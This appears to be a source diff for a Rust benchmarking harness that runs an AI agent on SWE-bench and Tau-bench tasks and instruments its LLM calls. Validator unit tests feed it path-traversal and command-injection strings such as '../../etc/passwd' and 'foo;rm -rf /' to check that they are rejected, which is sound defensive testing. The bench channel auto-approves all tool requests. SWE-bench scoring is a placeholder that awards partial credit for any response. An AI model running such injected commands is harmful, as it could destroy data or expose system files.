"swe_bench line {}: invalid base_commit \"{}\"",
line_num + 1,
entry.base_commit,
)));
}
let metadata = serde_json::json!({
"repo": entry.repo,
"base_commit": entry.base_commit,
"test_patch": entry.test_patch,
"gold_patch": entry.patch,
"use_docker": self.use_docker,
"workspace_dir": self.workspace_dir.to_string_lossy(),
});
let prompt = if let Some(ref hints) = entry.hints_text {
format!("{}\n\nHints:\n{}", entry.problem_statement, hints)
} else {
entry.problem_statement
};
tasks.push(BenchTask {
id: entry.instance_id,
prompt,
context: Some(format!(
"Repository: {}, Commit: {}",
entry.repo, entry.base_commit
)),
resources: vec![],
tags: vec![format!("repo-{}", entry.repo.replace('/', "-"))],
expected_turns: None,
timeout: None,
metadata,
});
}
Ok(tasks)
}
async fn setup_task(&self, task: &BenchTask) -> Result<(), BenchError> {
let repo = task
.metadata
.get("repo")
.and_then(|v| v.as_str())
.ok_or_else(|| BenchError::TaskFailed {
task_id: task.id.clone(),
reason: "missing repo in metadata".to_string(),
})?;
let base_commit = task
.metadata
.get("base_commit")
.and_then(|v| v.as_str())
.ok_or_else(|| BenchError::TaskFailed {
task_id: task.id.clone(),
reason: "missing base_commit in metadata".to_string(),
})?;
let task_dir = self.workspace_dir.join(&task.id);
// Clone repo if not already present
if !task_dir.exists() {
let repo_url = format!("https://github.com/{}.git", repo);
let output = tokio::process::Command::new("git")
.args([
"clone",
"--depth",
"1",
&repo_url,
&task_dir.to_string_lossy(),
])
.output()
.await
.map_err(|e| BenchError::TaskFailed {
task_id: task.id.clone(),
reason: format!("git clone failed: {e}"),
})?;
if !output.status.success() {
let stderr = String::from_utf8_lossy(&output.stderr);
return Err(BenchError::TaskFailed {
task_id: task.id.clone(),
reason: format!("git clone failed: {stderr}"),
});
}
}
// Checkout the base commit
let output = tokio::process::Command::new("git")
.args(["checkout", base_commit])
.current_dir(&task_dir)
.output()
.await
.map_err(|e| BenchError::TaskFailed {
task_id: task.id.clone(),
reason: format!("git checkout failed: {e}"),
})?;
if !output.status.success() {
// Shallow clone might not have the commit; fetch more history
let _ = tokio::process::Command::new("git")
.args(["fetch", "--unshallow"])
.current_dir(&task_dir)
.output()
.await;
let output = tokio::process::Command::new("git")
.args(["checkout", base_commit])
.current_dir(&task_dir)
.output()
.await
.map_err(|e| BenchError::TaskFailed {
task_id: task.id.clone(),
reason: format!("git checkout retry failed: {e}"),
})?;
if !output.status.success() {
let stderr = String::from_utf8_lossy(&output.stderr);
return Err(BenchError::TaskFailed {
task_id: task.id.clone(),
reason: format!("git checkout failed: {stderr}"),
});
}
}
Ok(())
}
async fn teardown_task(&self, task: &BenchTask) -> Result<(), BenchError> {
let task_dir = self.workspace_dir.join(&task.id);
if task_dir.exists() {
// Reset any changes
let _ = tokio::process::Command::new("git")
.args(["checkout", "."])
.current_dir(&task_dir)
.output()
.await;
let _ = tokio::process::Command::new("git")
.args(["clean", "-fdx"])
.current_dir(&task_dir)
.output()
.await;
}
Ok(())
}
async fn score(
&self,
task: &BenchTask,
submission: &TaskSubmission,
) -> Result<BenchScore, BenchError> {
// For SWE-bench, scoring requires running the test patch against the agent's changes.
// This is a simplified version that checks if the agent produced any code changes.
let test_patch = task.metadata.get("test_patch").and_then(|v| v.as_str());
if submission.response.is_empty() {
return Ok(BenchScore::fail("no response from agent"));
}
// If we have a test patch, try to verify the submission
if let Some(_test_patch) = test_patch {
// TODO: Apply agent's patch, then apply test patch, then run tests.
// For now, give partial credit if the agent produced some output.
tracing::warn!(
task_id = %task.id,
"SWE-bench test execution not implemented, returning placeholder 0.25"
);
Ok(BenchScore::partial(
0.25,
"test execution not yet implemented; partial credit for response",
))
} else {
tracing::warn!(
task_id = %task.id,
"no test_patch available, returning placeholder 0.25"
);
Ok(BenchScore::partial(
0.25,
"no test_patch available for automated scoring",
))
}
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::io::Write;
#[tokio::test]
async fn test_swe_bench_load() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("swe.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"instance_id": "django__django-12345", "repo": "django/django", "base_commit": "abc123", "problem_statement": "Fix the ORM bug"}}"#
)
.unwrap();
let suite = SweBenchSuite::new(&path, "/tmp/swe-test", false);
let tasks = suite.load_tasks().await.unwrap();
assert_eq!(tasks.len(), 1);
assert_eq!(tasks[0].id, "django__django-12345");
assert!(tasks[0].tags.contains(&"repo-django-django".to_string()));
}
#[tokio::test]
async fn test_swe_bench_scoring_no_response() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("swe.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"instance_id": "s1", "repo": "org/repo", "base_commit": "abc", "problem_statement": "Fix bug"}}"#
)
.unwrap();
let suite = SweBenchSuite::new(&path, "/tmp/swe-test", false);
let tasks = suite.load_tasks().await.unwrap();
let submission = TaskSubmission {
response: String::new(),
conversation: vec![],
tool_calls: vec![],
error: None,
};
let score = suite.score(&tasks[0], &submission).await.unwrap();
assert_eq!(score.value, 0.0);
}
#[test]
fn test_is_safe_path_component() {
assert!(is_safe_path_component("django__django-12345"));
assert!(is_safe_path_component("org/repo"));
assert!(is_safe_path_component("abc123"));
assert!(!is_safe_path_component(""));
assert!(!is_safe_path_component("../../etc/passwd"));
assert!(!is_safe_path_component("/etc/passwd"));
assert!(!is_safe_path_component("foo;rm -rf /"));
assert!(!is_safe_path_component("foo bar"));
}
#[test]
fn test_is_valid_github_repo() {
assert!(is_valid_github_repo("django/django"));
assert!(is_valid_github_repo("org/repo-name"));
assert!(is_valid_github_repo("Org.Name/Repo_v2"));
assert!(!is_valid_github_repo(""));
assert!(!is_valid_github_repo("no-slash"));
assert!(!is_valid_github_repo("too/many/slashes"));
assert!(!is_valid_github_repo("spa ce/repo"));
}
#[test]
fn test_is_valid_git_ref() {
assert!(is_valid_git_ref("abc123"));
assert!(is_valid_git_ref("deadbeef0123456789abcdef0123456789abcdef"));
assert!(is_valid_git_ref("v1.2.3"));
assert!(is_valid_git_ref("main"));
assert!(!is_valid_git_ref(""));
assert!(!is_valid_git_ref("bad..ref"));
assert!(!is_valid_git_ref("has space"));
assert!(!is_valid_git_ref("semi;colon"));
}
#[tokio::test]
async fn test_swe_bench_rejects_path_traversal() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("swe.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"instance_id": "../../etc/passwd", "repo": "org/repo", "base_commit": "abc", "problem_statement": "evil"}}"#
)
.unwrap();
let suite = SweBenchSuite::new(&path, "/tmp/swe-test", false);
let err = suite.load_tasks().await.unwrap_err();
assert!(err.to_string().contains("unsafe instance_id"));
}
#[tokio::test]
async fn test_swe_bench_rejects_bad_repo() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("swe.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"instance_id": "task1", "repo": "not-a-repo-format", "base_commit": "abc", "problem_statement": "bad"}}"#
)
.unwrap();
let suite = SweBenchSuite::new(&path, "/tmp/swe-test", false);
let err = suite.load_tasks().await.unwrap_err();
assert!(err.to_string().contains("invalid repo format"));
}
}
+233
View File
@@ -0,0 +1,233 @@
use std::io::BufRead;
use std::path::PathBuf;
use async_trait::async_trait;
use serde::Deserialize;
use crate::error::BenchError;
use crate::suite::{BenchScore, BenchSuite, BenchTask, ConversationTurn, TaskSubmission};
/// Tau-bench task entry.
#[derive(Debug, Deserialize)]
struct TauBenchEntry {
id: String,
#[serde(default)]
domain: String,
instruction: String,
#[serde(default)]
user_persona: Option<String>,
#[serde(default)]
expected_state: Option<serde_json::Value>,
#[serde(default)]
expected_actions: Vec<String>,
#[serde(default)]
max_turns: Option<usize>,
}
/// Tau-bench: multi-turn tool-calling dialog benchmark.
///
/// Tests agent ability to handle customer service scenarios with simulated
/// domain APIs (retail, airline). Scoring compares final state against expected.
pub struct TauBenchSuite {
dataset_path: PathBuf,
domain: String,
}
impl TauBenchSuite {
pub fn new(dataset_path: impl Into<PathBuf>, domain: impl Into<String>) -> Self {
Self {
dataset_path: dataset_path.into(),
domain: domain.into(),
}
}
}
#[async_trait]
impl BenchSuite for TauBenchSuite {
fn name(&self) -> &str {
"Tau-bench"
}
fn id(&self) -> &str {
"tau_bench"
}
async fn load_tasks(&self) -> Result<Vec<BenchTask>, BenchError> {
let file = std::fs::File::open(&self.dataset_path)?;
let reader = std::io::BufReader::new(file);
let mut tasks = Vec::new();
for (line_num, line) in reader.lines().enumerate() {
let line = line?;
let trimmed = line.trim();
if trimmed.is_empty() {
continue;
}
let entry: TauBenchEntry = serde_json::from_str(trimmed).map_err(|e| {
BenchError::Config(format!("tau_bench line {}: {}", line_num + 1, e))
})?;
let domain = if entry.domain.is_empty() {
self.domain.clone()
} else {
entry.domain.clone()
};
let metadata = serde_json::json!({
"domain": domain,
"user_persona": entry.user_persona,
"expected_state": entry.expected_state,
"expected_actions": entry.expected_actions,
});
tasks.push(BenchTask {
id: entry.id,
prompt: entry.instruction,
context: entry.user_persona.clone(),
resources: vec![],
tags: vec![format!("domain-{domain}")],
expected_turns: entry.max_turns,
timeout: None,
metadata,
});
}
Ok(tasks)
}
async fn score(
&self,
task: &BenchTask,
submission: &TaskSubmission,
) -> Result<BenchScore, BenchError> {
// Score based on expected actions completion
let expected_actions: Vec<String> = task
.metadata
.get("expected_actions")
.and_then(|v| serde_json::from_value(v.clone()).ok())
.unwrap_or_default();
if expected_actions.is_empty() {
// No expected actions defined; score based on whether agent responded
if submission.response.is_empty() {
return Ok(BenchScore::fail("no response"));
}
return Ok(BenchScore::partial(
0.5,
"no expected_actions to evaluate against",
));
}
// Check which expected actions were actually called
let called: std::collections::HashSet<&str> =
submission.tool_calls.iter().map(|s| s.as_str()).collect();
let matched = expected_actions
.iter()
.filter(|a| called.contains(a.as_str()))
.count();
let ratio = matched as f64 / expected_actions.len() as f64;
if ratio >= 1.0 {
Ok(BenchScore::pass())
} else if ratio > 0.0 {
Ok(BenchScore::partial(
ratio,
format!(
"{}/{} expected actions completed",
matched,
expected_actions.len()
),
))
} else {
Ok(BenchScore::fail(format!(
"0/{} expected actions completed",
expected_actions.len()
)))
}
}
async fn next_user_message(
&self,
task: &BenchTask,
conversation: &[ConversationTurn],
) -> Result<Option<String>, BenchError> {
// Check if we've exceeded max turns
if let Some(max) = task.expected_turns {
let user_turns = conversation
.iter()
.filter(|t| matches!(t.role, crate::suite::TurnRole::User))
.count();
if user_turns >= max {
return Ok(None);
}
}
// Multi-turn simulation requires an LLM to play the customer role.
// Until that's implemented, every scenario is single-turn only.
// TODO: Use LLM to simulate customer based on user_persona.
tracing::warn!(
task_id = %task.id,
"multi-turn simulation not implemented, ending after first turn"
);
Ok(None)
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::io::Write;
#[tokio::test]
async fn test_tau_bench_load() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("tau.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"id": "t1", "instruction": "Return my order", "expected_actions": ["lookup_order", "process_return"], "max_turns": 3}}"#
)
.unwrap();
let suite = TauBenchSuite::new(&path, "retail");
let tasks = suite.load_tasks().await.unwrap();
assert_eq!(tasks.len(), 1);
assert_eq!(tasks[0].expected_turns, Some(3));
}
#[tokio::test]
async fn test_tau_bench_scoring() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("tau.jsonl");
let mut file = std::fs::File::create(&path).unwrap();
writeln!(
file,
r#"{{"id": "t1", "instruction": "Return order", "expected_actions": ["lookup_order", "process_return"]}}"#
)
.unwrap();
let suite = TauBenchSuite::new(&path, "retail");
let tasks = suite.load_tasks().await.unwrap();
// Partial completion
let submission = TaskSubmission {
response: "I found your order.".to_string(),
conversation: vec![],
tool_calls: vec!["lookup_order".to_string()],
error: None,
};
let score = suite.score(&tasks[0], &submission).await.unwrap();
assert_eq!(score.value, 0.5);
assert_eq!(score.label, "partial");
// Full completion
let submission = TaskSubmission {
response: "Return processed.".to_string(),
conversation: vec![],
tool_calls: vec!["lookup_order".to_string(), "process_return".to_string()],
error: None,
};
let score = suite.score(&tasks[0], &submission).await.unwrap();
assert_eq!(score.value, 1.0);
}
}
+259
View File
@@ -0,0 +1,259 @@
use std::sync::Arc;
use async_trait::async_trait;
use tokio::sync::{Mutex, mpsc};
use tokio_stream::wrappers::ReceiverStream;
use ironclaw::channels::{Channel, IncomingMessage, MessageStream, OutgoingResponse, StatusUpdate};
use ironclaw::error::ChannelError;
use crate::results::TraceToolCall;
use crate::suite::ConversationTurn;
/// Truncate a string to at most `max_bytes` without splitting a UTF-8 character.
fn truncate_str(s: &str, max_bytes: usize) -> &str {
if s.len() <= max_bytes {
return s;
}
let mut end = max_bytes;
while !s.is_char_boundary(end) {
end -= 1;
}
&s[..end]
}
/// Captured state from a benchmark channel run.
#[derive(Debug, Default)]
pub struct ChannelCapture {
/// All responses the agent sent back.
pub responses: Vec<String>,
/// Tool calls observed (name, success, duration_ms).
pub tool_calls: Vec<TraceToolCall>,
/// Full conversation turns for multi-turn scoring.
pub conversation: Vec<ConversationTurn>,
/// Status messages (for debugging).
pub status_log: Vec<String>,
}
/// A headless Channel implementation for benchmarking.
///
/// Modeled after `ReplChannel`: uses mpsc to inject messages and captures
/// all responses and tool status events. Auto-approves tool execution
/// so benchmarks run without user interaction.
pub struct BenchChannel {
/// Sender to inject messages into the agent loop.
msg_tx: mpsc::Sender<IncomingMessage>,
/// Receiver the agent loop reads from (taken once by `start()`).
msg_rx: Mutex<Option<mpsc::Receiver<IncomingMessage>>>,
/// Accumulated capture data.
capture: Arc<Mutex<ChannelCapture>>,
}
impl BenchChannel {
pub fn new() -> (Self, mpsc::Sender<IncomingMessage>) {
let (tx, rx) = mpsc::channel(64);
let channel = Self {
msg_tx: tx.clone(),
msg_rx: Mutex::new(Some(rx)),
capture: Arc::new(Mutex::new(ChannelCapture::default())),
};
(channel, tx)
}
/// Get a handle to the capture data.
pub fn capture(&self) -> Arc<Mutex<ChannelCapture>> {
Arc::clone(&self.capture)
}
}
#[async_trait]
impl Channel for BenchChannel {
fn name(&self) -> &str {
"bench"
}
async fn start(&self) -> Result<MessageStream, ChannelError> {
let rx = self
.msg_rx
.lock()
.await
.take()
.ok_or_else(|| ChannelError::StartupFailed {
name: "bench".to_string(),
reason: "start() already called".to_string(),
})?;
Ok(Box::pin(ReceiverStream::new(rx)))
}
async fn respond(
&self,
_msg: &IncomingMessage,
response: OutgoingResponse,
) -> Result<(), ChannelError> {
let mut cap = self.capture.lock().await;
cap.responses.push(response.content.clone());
cap.conversation.push(ConversationTurn {
role: crate::suite::TurnRole::Assistant,
content: response.content,
});
Ok(())
}
async fn send_status(
&self,
status: StatusUpdate,
_metadata: &serde_json::Value,
) -> Result<(), ChannelError> {
let mut cap = self.capture.lock().await;
match status {
StatusUpdate::ToolCompleted { ref name, success } => {
cap.tool_calls.push(TraceToolCall {
name: name.clone(),
duration_ms: 0, // We don't have precise per-tool timing here
success,
});
cap.status_log
.push(format!("tool_completed: {name} success={success}"));
}
StatusUpdate::ApprovalNeeded { ref request_id, .. } => {
// Auto-approve all tools during benchmarks
cap.status_log.push(format!("auto_approved: {request_id}"));
drop(cap); // Release lock before sending
let approval = IncomingMessage::new("bench", "bench-user", "always");
let _ = self.msg_tx.send(approval).await;
return Ok(());
}
StatusUpdate::Thinking(ref msg) => {
cap.status_log.push(format!("thinking: {msg}"));
}
StatusUpdate::ToolStarted { ref name } => {
cap.status_log.push(format!("tool_started: {name}"));
}
StatusUpdate::ToolResult {
ref name,
ref preview,
} => {
cap.status_log.push(format!(
"tool_result: {name} -> {}",
truncate_str(preview, 100)
));
}
StatusUpdate::StreamChunk(_) => {}
StatusUpdate::Status(ref msg) => {
cap.status_log.push(format!("status: {msg}"));
}
StatusUpdate::JobStarted {
ref job_id,
ref title,
..
} => {
cap.status_log
.push(format!("job_started: {job_id} ({title})"));
}
StatusUpdate::AuthRequired {
ref extension_name, ..
} => {
cap.status_log
.push(format!("auth_required: {extension_name} (auto-skipped)"));
}
StatusUpdate::AuthCompleted {
ref extension_name,
success,
..
} => {
cap.status_log.push(format!(
"auth_completed: {extension_name} success={success}"
));
}
}
Ok(())
}
async fn broadcast(
&self,
_user_id: &str,
response: OutgoingResponse,
) -> Result<(), ChannelError> {
let mut cap = self.capture.lock().await;
cap.status_log.push(format!(
"broadcast: {}",
truncate_str(&response.content, 100)
));
Ok(())
}
async fn health_check(&self) -> Result<(), ChannelError> {
Ok(())
}
async fn shutdown(&self) -> Result<(), ChannelError> {
Ok(())
}
}
#[cfg(test)]
mod tests {
use super::*;
#[tokio::test]
async fn test_bench_channel_captures_responses() {
let (channel, _tx) = BenchChannel::new();
let capture = channel.capture();
let msg = IncomingMessage::new("bench", "user", "hello");
let response = OutgoingResponse::text("world");
channel.respond(&msg, response).await.unwrap();
let cap = capture.lock().await;
assert_eq!(cap.responses.len(), 1);
assert_eq!(cap.responses[0], "world");
assert_eq!(cap.conversation.len(), 1);
}
#[tokio::test]
async fn test_bench_channel_auto_approves() {
let (channel, _tx) = BenchChannel::new();
// start() to consume the receiver
let _stream = channel.start().await.unwrap();
let status = StatusUpdate::ApprovalNeeded {
request_id: "req-1".to_string(),
tool_name: "shell".to_string(),
description: "run ls".to_string(),
parameters: serde_json::json!({}),
};
channel
.send_status(status, &serde_json::Value::Null)
.await
.unwrap();
// The approval message was sent through msg_tx,
// which means the stream would receive it.
// We can't easily read from the stream in this test without
// consuming it, but we can verify the status log.
let capture_arc = channel.capture();
let cap = capture_arc.lock().await;
assert!(cap.status_log.iter().any(|s| s.contains("auto_approved")));
}
#[tokio::test]
async fn test_bench_channel_captures_tool_events() {
let (channel, _tx) = BenchChannel::new();
let status = StatusUpdate::ToolCompleted {
name: "echo".to_string(),
success: true,
};
channel
.send_status(status, &serde_json::Value::Null)
.await
.unwrap();
let capture_arc = channel.capture();
let cap = capture_arc.lock().await;
assert_eq!(cap.tool_calls.len(), 1);
assert_eq!(cap.tool_calls[0].name, "echo");
assert!(cap.tool_calls[0].success);
}
}
+205
View File
@@ -0,0 +1,205 @@
use std::path::{Path, PathBuf};
use std::time::Duration;
use serde::Deserialize;
use crate::error::BenchError;
/// Top-level bench configuration, loaded from TOML.
#[derive(Debug, Clone, Deserialize)]
pub struct BenchConfig {
/// Where to write results. Default: "./bench-results".
#[serde(default = "default_results_dir")]
pub results_dir: PathBuf,
/// Per-task timeout. Default: "300s".
#[serde(
default = "default_task_timeout",
deserialize_with = "deserialize_duration"
)]
pub task_timeout: Duration,
/// How many tasks to run in parallel. Default: 1.
#[serde(default = "default_parallelism")]
pub parallelism: usize,
/// Model/config matrix entries. At least one required.
#[serde(default)]
pub matrix: Vec<MatrixEntry>,
/// Suite-specific configuration (passed through to adapter).
#[serde(default = "default_suite_config")]
pub suite_config: toml::Value,
}
/// A single model/config combination to benchmark.
#[derive(Debug, Clone, Deserialize)]
pub struct MatrixEntry {
/// Label for this configuration (used in results).
pub label: String,
/// Model identifier.
#[serde(default)]
pub model: Option<String>,
}
impl BenchConfig {
/// Load from a TOML file.
pub fn from_file(path: &Path) -> Result<Self, BenchError> {
if !path.exists() {
return Err(BenchError::ConfigNotFound {
path: path.to_path_buf(),
});
}
let content = std::fs::read_to_string(path)?;
let config: BenchConfig = toml::from_str(&content)?;
if config.matrix.is_empty() {
return Err(BenchError::Config(
"config must have at least one [[matrix]] entry".to_string(),
));
}
Ok(config)
}
/// Create a minimal config for when no config file is provided.
/// Uses defaults and optional CLI overrides.
pub fn minimal(model: Option<String>) -> Self {
let label = model.as_deref().unwrap_or("default").to_string();
Self {
results_dir: default_results_dir(),
task_timeout: default_task_timeout(),
parallelism: default_parallelism(),
matrix: vec![MatrixEntry { label, model }],
suite_config: toml::Value::Table(toml::map::Map::new()),
}
}
/// Get the suite_config as a generic map for adapter use.
pub fn suite_config_map(&self) -> toml::map::Map<String, toml::Value> {
match &self.suite_config {
toml::Value::Table(map) => map.clone(),
_ => toml::map::Map::new(),
}
}
/// Get a string value from suite_config.
pub fn suite_config_str(&self, key: &str) -> Option<String> {
self.suite_config_map()
.get(key)
.and_then(|v| v.as_str())
.map(|s| s.to_string())
}
}
fn default_suite_config() -> toml::Value {
toml::Value::Table(toml::map::Map::new())
}
fn default_results_dir() -> PathBuf {
PathBuf::from("./bench-results")
}
fn default_task_timeout() -> Duration {
Duration::from_secs(300)
}
fn default_parallelism() -> usize {
1
}
/// Deserialize a duration from a string like "300s", "5m", etc.
fn deserialize_duration<'de, D>(deserializer: D) -> Result<Duration, D::Error>
where
D: serde::Deserializer<'de>,
{
let s = String::deserialize(deserializer)?;
parse_duration(&s).map_err(serde::de::Error::custom)
}
fn parse_duration(s: &str) -> Result<Duration, String> {
let s = s.trim();
if let Some(secs) = s.strip_suffix('s') {
secs.trim()
.parse::<u64>()
.map(Duration::from_secs)
.map_err(|e| format!("invalid seconds: {e}"))
} else if let Some(mins) = s.strip_suffix('m') {
mins.trim()
.parse::<u64>()
.map(|m| Duration::from_secs(m * 60))
.map_err(|e| format!("invalid minutes: {e}"))
} else {
// Assume seconds if no suffix
s.parse::<u64>()
.map(Duration::from_secs)
.map_err(|e| format!("invalid duration '{s}': {e}"))
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_parse_duration() {
assert_eq!(parse_duration("300s").unwrap(), Duration::from_secs(300));
assert_eq!(parse_duration("5m").unwrap(), Duration::from_secs(300));
assert_eq!(parse_duration("60").unwrap(), Duration::from_secs(60));
}
#[test]
fn test_minimal_config() {
let config = BenchConfig::minimal(Some("test-model".to_string()));
assert_eq!(config.matrix.len(), 1);
assert_eq!(config.matrix[0].label, "test-model");
assert_eq!(config.parallelism, 1);
}
#[test]
fn test_config_rejects_empty_matrix() {
let dir = tempfile::tempdir().unwrap();
let path = dir.path().join("empty.toml");
std::fs::write(
&path,
r#"
results_dir = "./results"
task_timeout = "60s"
"#,
)
.unwrap();
let err = BenchConfig::from_file(&path).unwrap_err();
assert!(
err.to_string().contains("at least one [[matrix]]"),
"got: {err}"
);
}
#[test]
fn test_config_from_toml() {
let toml_str = r#"
results_dir = "./my-results"
task_timeout = "60s"
parallelism = 2
[[matrix]]
label = "fast"
model = "gpt-4o-mini"
[[matrix]]
label = "full"
model = "claude-3-5-sonnet"
[suite_config]
dataset_path = "./data/test.jsonl"
"#;
let config: BenchConfig = toml::from_str(toml_str).unwrap();
assert_eq!(config.results_dir, PathBuf::from("./my-results"));
assert_eq!(config.task_timeout, Duration::from_secs(60));
assert_eq!(config.parallelism, 2);
assert_eq!(config.matrix.len(), 2);
assert_eq!(
config.suite_config_str("dataset_path").unwrap(),
"./data/test.jsonl"
);
}
}
+31
View File
@@ -0,0 +1,31 @@
use std::path::PathBuf;
#[derive(Debug, thiserror::Error)]
pub enum BenchError {
#[error("Config error: {0}")]
Config(String),
#[error("Config file not found: {path}")]
ConfigNotFound { path: PathBuf },
#[error("Suite {name} not found. Available: {available}")]
SuiteNotFound { name: String, available: String },
#[error("Task {task_id} failed: {reason}")]
TaskFailed { task_id: String, reason: String },
#[error("Scoring error for task {task_id}: {reason}")]
Scoring { task_id: String, reason: String },
#[error("IO error: {0}")]
Io(#[from] std::io::Error),
#[error("JSON error: {0}")]
Json(#[from] serde_json::Error),
#[error("TOML parse error: {0}")]
Toml(#[from] toml::de::Error),
#[error("Agent error: {0}")]
Agent(#[from] ironclaw::Error),
}
+251
View File
@@ -0,0 +1,251 @@
use std::sync::Arc;
use std::sync::atomic::{AtomicU32, Ordering};
use std::time::Instant;
use async_trait::async_trait;
use rust_decimal::Decimal;
use rust_decimal::prelude::ToPrimitive;
use tokio::sync::Mutex;
use ironclaw::error::LlmError;
use ironclaw::llm::{
CompletionRequest, CompletionResponse, LlmProvider, ToolCompletionRequest,
ToolCompletionResponse,
};
/// Recorded metrics from a single LLM call.
#[derive(Debug, Clone)]
#[allow(dead_code)]
pub struct LlmCallRecord {
pub input_tokens: u32,
pub output_tokens: u32,
pub duration_ms: u64,
pub had_tool_calls: bool,
}
/// Wraps an `LlmProvider` to record per-call metrics.
///
/// The wrapper is transparent to the agent: it delegates every call
/// to the inner provider and captures token counts and timings.
pub struct InstrumentedLlm {
inner: Arc<dyn LlmProvider>,
records: Mutex<Vec<LlmCallRecord>>,
total_input_tokens: AtomicU32,
total_output_tokens: AtomicU32,
call_count: AtomicU32,
}
impl InstrumentedLlm {
pub fn new(inner: Arc<dyn LlmProvider>) -> Self {
Self {
inner,
records: Mutex::new(Vec::new()),
total_input_tokens: AtomicU32::new(0),
total_output_tokens: AtomicU32::new(0),
call_count: AtomicU32::new(0),
}
}
/// Take all recorded call metrics, clearing the internal buffer.
pub async fn take_records(&self) -> Vec<LlmCallRecord> {
let mut records = self.records.lock().await;
std::mem::take(&mut *records)
}
/// Snapshot of total tokens without clearing.
pub fn total_input_tokens(&self) -> u32 {
self.total_input_tokens.load(Ordering::Relaxed)
}
pub fn total_output_tokens(&self) -> u32 {
self.total_output_tokens.load(Ordering::Relaxed)
}
pub fn call_count(&self) -> u32 {
self.call_count.load(Ordering::Relaxed)
}
/// Estimated cost using the inner provider's cost-per-token rates.
pub fn estimated_cost(&self) -> f64 {
let (input_rate, output_rate) = self.inner.cost_per_token();
let input_cost =
input_rate * Decimal::from(self.total_input_tokens.load(Ordering::Relaxed));
let output_cost =
output_rate * Decimal::from(self.total_output_tokens.load(Ordering::Relaxed));
let total = input_cost + output_cost;
total.to_f64().unwrap_or(0.0)
}
/// Reset all counters and records.
pub async fn reset(&self) {
self.records.lock().await.clear();
self.total_input_tokens.store(0, Ordering::Relaxed);
self.total_output_tokens.store(0, Ordering::Relaxed);
self.call_count.store(0, Ordering::Relaxed);
}
async fn record(
&self,
input_tokens: u32,
output_tokens: u32,
duration_ms: u64,
had_tool_calls: bool,
) {
self.total_input_tokens
.fetch_add(input_tokens, Ordering::Relaxed);
self.total_output_tokens
.fetch_add(output_tokens, Ordering::Relaxed);
self.call_count.fetch_add(1, Ordering::Relaxed);
self.records.lock().await.push(LlmCallRecord {
input_tokens,
output_tokens,
duration_ms,
had_tool_calls,
});
}
}
#[async_trait]
impl LlmProvider for InstrumentedLlm {
fn model_name(&self) -> &str {
self.inner.model_name()
}
fn cost_per_token(&self) -> (Decimal, Decimal) {
self.inner.cost_per_token()
}
async fn complete(&self, request: CompletionRequest) -> Result<CompletionResponse, LlmError> {
let start = Instant::now();
let response = self.inner.complete(request).await?;
let elapsed = start.elapsed().as_millis() as u64;
self.record(
response.input_tokens,
response.output_tokens,
elapsed,
false,
)
.await;
Ok(response)
}
async fn complete_with_tools(
&self,
request: ToolCompletionRequest,
) -> Result<ToolCompletionResponse, LlmError> {
let start = Instant::now();
let response = self.inner.complete_with_tools(request).await?;
let elapsed = start.elapsed().as_millis() as u64;
let had_tool_calls = !response.tool_calls.is_empty();
self.record(
response.input_tokens,
response.output_tokens,
elapsed,
had_tool_calls,
)
.await;
Ok(response)
}
async fn list_models(&self) -> Result<Vec<String>, LlmError> {
self.inner.list_models().await
}
}
#[cfg(test)]
mod tests {
use super::*;
use ironclaw::llm::{ChatMessage, CompletionRequest, CompletionResponse, FinishReason};
/// Fake LLM that returns a canned response with known token counts.
struct FakeLlm;
#[async_trait]
impl LlmProvider for FakeLlm {
fn model_name(&self) -> &str {
"fake-model"
}
fn cost_per_token(&self) -> (Decimal, Decimal) {
(
Decimal::new(3, 6), // $0.000003 per input token
Decimal::new(15, 6), // $0.000015 per output token
)
}
async fn complete(
&self,
_request: CompletionRequest,
) -> Result<CompletionResponse, LlmError> {
Ok(CompletionResponse {
content: "test response".to_string(),
input_tokens: 100,
output_tokens: 50,
finish_reason: FinishReason::Stop,
response_id: None,
})
}
async fn complete_with_tools(
&self,
_request: ToolCompletionRequest,
) -> Result<ToolCompletionResponse, LlmError> {
Ok(ToolCompletionResponse {
content: Some("tool response".to_string()),
tool_calls: vec![],
input_tokens: 200,
output_tokens: 100,
finish_reason: FinishReason::Stop,
response_id: None,
})
}
}
#[tokio::test]
async fn test_instrumented_records_metrics() {
let inner = Arc::new(FakeLlm);
let instrumented = InstrumentedLlm::new(inner);
let request = CompletionRequest::new(vec![ChatMessage::user("hello")]);
let _ = instrumented.complete(request).await.unwrap();
assert_eq!(instrumented.call_count(), 1);
assert_eq!(instrumented.total_input_tokens(), 100);
assert_eq!(instrumented.total_output_tokens(), 50);
let records = instrumented.take_records().await;
assert_eq!(records.len(), 1);
assert_eq!(records[0].input_tokens, 100);
assert!(!records[0].had_tool_calls);
}
#[tokio::test]
async fn test_instrumented_cost_calculation() {
let inner = Arc::new(FakeLlm);
let instrumented = InstrumentedLlm::new(inner);
let request = CompletionRequest::new(vec![ChatMessage::user("hello")]);
let _ = instrumented.complete(request).await.unwrap();
// 100 * 0.000003 + 50 * 0.000015 = 0.0003 + 0.00075 = 0.00105
let cost = instrumented.estimated_cost();
assert!((cost - 0.00105).abs() < 0.0001);
}
#[tokio::test]
async fn test_instrumented_reset() {
let inner = Arc::new(FakeLlm);
let instrumented = InstrumentedLlm::new(inner);
let request = CompletionRequest::new(vec![ChatMessage::user("hello")]);
let _ = instrumented.complete(request).await.unwrap();
assert_eq!(instrumented.call_count(), 1);
instrumented.reset().await;
assert_eq!(instrumented.call_count(), 0);
assert_eq!(instrumented.total_input_tokens(), 0);
let records = instrumented.take_records().await;
assert!(records.is_empty());
}
}
+313
View File
@@ -0,0 +1,313 @@
mod adapters;
mod channel;
mod config;
mod error;
mod instrumented_llm;
mod results;
mod runner;
mod scoring;
mod suite;
use std::path::PathBuf;
use std::sync::Arc;
